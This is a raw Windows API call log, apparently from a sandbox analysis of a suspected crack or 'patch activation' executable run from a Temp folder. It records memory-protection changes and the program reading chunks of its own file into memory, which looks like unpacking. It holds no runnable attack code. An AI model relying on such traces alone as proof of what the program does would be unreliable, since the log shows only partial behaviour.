[0242.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x36, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Sat") returned 4 [0242.584] LoadStringA (in: hInstance=0x400000, uID=0xffed, lpBuffer=0x18fae0, cchBufferMax=1024 | out: lpBuffer="Saturday") returned 0x8 [0242.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x2f, lpLCData=0x18fde4, cchData=256 | out: lpLCData="Saturday") returned 9 [0242.584] GetSystemDefaultLCID () returned 0x409 [0242.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x14, lpLCData=0x18fde8, cchData=256 | out: lpLCData="$") returned 2 [0242.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x1b, lpLCData=0x18fde8, cchData=256 | out: lpLCData="0") returned 2 [0242.584] GetLocaleInfoA (in: Locale=0x409, LCType=0x1c, lpLCData=0x18fde8, cchData=256 | out: lpLCData="0") returned 2 [0242.585] GetLocaleInfoA (in: Locale=0x409, LCType=0xf, lpLCData=0x18fee0, cchData=2 | out: lpLCData=",") returned 2 [0242.585] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x18fee0, cchData=2 | out: lpLCData=".") returned 2 [0242.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x18fde8, cchData=256 | out: lpLCData="2") returned 2 [0242.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x18fee0, cchData=2 | out: lpLCData="/") returned 2 [0242.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x18fde8, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0242.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x18fde8, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0242.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x18fee0, cchData=2 | out: lpLCData=":") returned 2 [0242.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x18fde8, cchData=256 | out: lpLCData="AM") returned 3 [0242.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x18fde8, cchData=256 | out: lpLCData="PM") returned 3 [0242.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x18fde8, cchData=256 | out: lpLCData="0") returned 2 [0242.585] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x18fde8, cchData=256 | out: lpLCData="0") returned 2 [0242.585] GetVersionExA (in: lpVersionInformation=0x18fe88*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x18fec0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x1c, szCSDVersion="$!@") | out: lpVersionInformation=0x18fe88*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0242.585] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x752b0000 [0242.585] GetProcAddress (hModule=0x752b0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x752dd620 [0242.586] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x752b0000 [0242.586] GetProcAddress (hModule=0x752b0000, lpProcName="Wow64RevertWow64FsRedirection") returned 0x752dd638 [0242.586] GetSystemDirectoryA (in: lpBuffer=0x18fe0c, uSize=0x104 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0242.586] SetErrorMode (uMode=0x8000) returned 0x0 [0242.586] LoadLibraryA (lpLibFileName="C:\\Windows\\system32\\shell32.dll") returned 0x75be0000 [0245.811] SetErrorMode (uMode=0x0) returned 0x8000 [0245.811] FormatMessageA (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x4c783afb, dwLanguageId=0x0, lpBuffer=0x18fb10, nSize=0x400, Arguments=0x0 | out: lpBuffer="hÈúu@Æúu0û\x18") returned 0x0 [0246.139] GetSystemInfo (in: lpSystemInfo=0x18fed4 | out: lpSystemInfo=0x18fed4*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0246.139] VirtualQuery (in: lpAddress=0x400000, lpBuffer=0x18fef8, dwLength=0x1c | out: lpBuffer=0x18fef8*(BaseAddress=0x400000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0246.139] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x40, lpflOldProtect=0x18fed0 | out: lpflOldProtect=0x18fed0*=0x2) returned 1 [0246.139] VirtualProtect (in: lpAddress=0x400000, dwSize=0x1000, flNewProtect=0x2, lpflOldProtect=0x18fed0 | out: lpflOldProtect=0x18fed0*=0x40) returned 1 [0246.139] VirtualQuery (in: lpAddress=0x401000, lpBuffer=0x18fef8, dwLength=0x1c | out: lpBuffer=0x18fef8*(BaseAddress=0x401000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0xb000, State=0x1000, Protect=0x20, Type=0x1000000)) returned 0x1c [0246.139] VirtualProtect (in: lpAddress=0x401000, dwSize=0xb000, flNewProtect=0x40, lpflOldProtect=0x18fed0 | out: lpflOldProtect=0x18fed0*=0x20) returned 1 [0246.142] VirtualProtect (in: lpAddress=0x401000, dwSize=0xb000, flNewProtect=0x20, lpflOldProtect=0x18fed0 | out: lpflOldProtect=0x18fed0*=0x40) returned 1 [0246.142] VirtualQuery (in: lpAddress=0x40c000, lpBuffer=0x18fef8, dwLength=0x1c | out: lpBuffer=0x18fef8*(BaseAddress=0x40c000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x4000, State=0x1000, Protect=0x4, Type=0x1000000)) returned 0x1c [0246.142] VirtualQuery (in: lpAddress=0x410000, lpBuffer=0x18fef8, dwLength=0x1c | out: lpBuffer=0x18fef8*(BaseAddress=0x410000, AllocationBase=0x400000, AllocationProtect=0x80, RegionSize=0x12000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0246.143] VirtualProtect (in: lpAddress=0x410000, dwSize=0x12000, flNewProtect=0x40, lpflOldProtect=0x18fed0 | out: lpflOldProtect=0x18fed0*=0x2) returned 1 [0246.145] VirtualProtect (in: lpAddress=0x410000, dwSize=0x12000, flNewProtect=0x2, lpflOldProtect=0x18fed0 | out: lpflOldProtect=0x18fed0*=0x40) returned 1 [0246.145] VirtualQuery (in: lpAddress=0x422000, lpBuffer=0x18fef8, dwLength=0x1c | out: lpBuffer=0x18fef8*(BaseAddress=0x422000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0xe000, State=0x10000, Protect=0x1, Type=0x0)) returned 0x1c [0246.146] GetCommandLineA () returned="\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe\" " [0246.146] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x18fe18, nSize=0x104 | out: lpFilename="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\a1photo-&-art-enhancer_search&patch_activation.exe")) returned 0x58 [0246.146] CreateFileA (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\A1Photo-&-Art-Enhancer_Search&Patch_Activation.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\a1photo-&-art-enhancer_search&patch_activation.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa8 [0246.147] FindResourceA (hModule=0x0, lpName=0x2b67, lpType=0xa) returned 0x412270 [0246.147] SizeofResource (hModule=0x0, hResInfo=0x412270) returned 0x2c [0246.147] LoadResource (hModule=0x0, hResInfo=0x412270) returned 0x420f3c [0246.147] LockResource (hResData=0x420f3c) returned 0x420f3c [0246.147] GetFileSize (in: hFile=0xa8, lpFileSizeHigh=0x18ff74 | out: lpFileSizeHigh=0x18ff74*=0x0) returned 0x90e34 [0246.147] GetFileSize (in: hFile=0xa8, lpFileSizeHigh=0x18ff6c | out: lpFileSizeHigh=0x18ff6c*=0x0) returned 0x90e34 [0246.147] SetFilePointer (in: hFile=0xa8, lDistanceToMove=111616, lpDistanceToMoveHigh=0x18fefc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18fefc*=0) returned 0x1b400 [0246.147] ReadFile (in: hFile=0xa8, lpBuffer=0x40de4c, nNumberOfBytesToRead=0x40, lpNumberOfBytesRead=0x18fef8, lpOverlapped=0x0 | out: lpBuffer=0x40de4c*, lpNumberOfBytesRead=0x18fef8*=0x40, lpOverlapped=0x0) returned 1 [0246.147] ReadFile (in: hFile=0xa8, lpBuffer=0x18fefc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18feb4, lpOverlapped=0x0 | out: lpBuffer=0x18fefc*, lpNumberOfBytesRead=0x18feb4*=0x4, lpOverlapped=0x0) returned 1 [0246.147] ReadFile (in: hFile=0xa8, lpBuffer=0x18fef4, nNumberOfBytesToRead=0x5, lpNumberOfBytesRead=0x18feb4, lpOverlapped=0x0 | out: lpBuffer=0x18fef4*, lpNumberOfBytesRead=0x18feb4*=0x5, lpOverlapped=0x0) returned 1 [0246.147] SetFilePointer (in: hFile=0xa8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fef0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fef0*=0) returned 0x1b449 [0246.147] GetFileSize (in: hFile=0xa8, lpFileSizeHigh=0x18fee8 | out: lpFileSizeHigh=0x18fee8*=0x0) returned 0x90e34 [0246.148] VirtualAlloc (lpAddress=0x1c54000, dwSize=0x14000, flAllocationType=0x1000, flProtect=0x4) returned 0x1c54000 [0246.149] ReadFile (in: hFile=0xa8, lpBuffer=0x18fe4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fe28, lpOverlapped=0x0 | out: lpBuffer=0x18fe4c*, lpNumberOfBytesRead=0x18fe28*=0x4, lpOverlapped=0x0) returned 1 [0246.149] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fe28, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fe28*=0x1000, lpOverlapped=0x0) returned 1 [0246.150] VirtualAlloc (lpAddress=0x0, dwSize=0x203e6c, flAllocationType=0x1000, flProtect=0x4) returned 0x1e10000 [0246.150] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.151] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.151] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.151] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.151] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.151] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.151] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.151] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.151] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.151] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.151] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.151] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.151] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.152] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.152] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.152] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.152] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.152] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.152] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.152] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.152] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.152] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.152] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.152] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.152] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.153] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.153] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.153] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.153] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.153] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.153] ReadFile (in: hFile=0xa8, lpBuffer=0x18fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x18fda0*, lpNumberOfBytesRead=0x18fd7c*=0x4, lpOverlapped=0x0) returned 1 [0246.153] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd7c, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd7c*=0x1000, lpOverlapped=0x0) returned 1 [0246.153] VirtualAlloc (lpAddress=0x1c68000, dwSize=0x30000, flAllocationType=0x1000, flProtect=0x4) returned 0x1c68000 [0246.154] VirtualFree (lpAddress=0x1c64000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0246.851] VirtualAlloc (lpAddress=0x1c64000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1c64000 [0246.853] VirtualAlloc (lpAddress=0x1c98000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1c98000 [0246.854] VirtualAlloc (lpAddress=0x1c9c000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1c9c000 [0246.855] VirtualAlloc (lpAddress=0x1ca0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ca0000 [0246.856] VirtualAlloc (lpAddress=0x1ca4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ca4000 [0246.858] VirtualAlloc (lpAddress=0x1ca8000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1ca8000 [0246.859] VirtualAlloc (lpAddress=0x1cac000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1cac000 [0246.860] VirtualAlloc (lpAddress=0x1cb0000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1cb0000 [0246.861] VirtualAlloc (lpAddress=0x1cb4000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0x1cb4000 [0246.861] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.861] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.862] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.862] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.862] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.862] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.862] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.862] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.862] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.862] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.862] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.862] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.862] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.862] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 [0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x1c50458, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x1c50458*, lpNumberOfBytesRead=0x18fd70*=0x1000, lpOverlapped=0x0) returned 1 [0246.863] ReadFile (in: hFile=0xa8, lpBuffer=0x18fd94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x18fd70, lpOverlapped=0x0 | out: lpBuffer=0x18fd94*, lpNumberOfBytesRead=0x18fd70*=0x4, lpOverlapped=0x0) returned 1 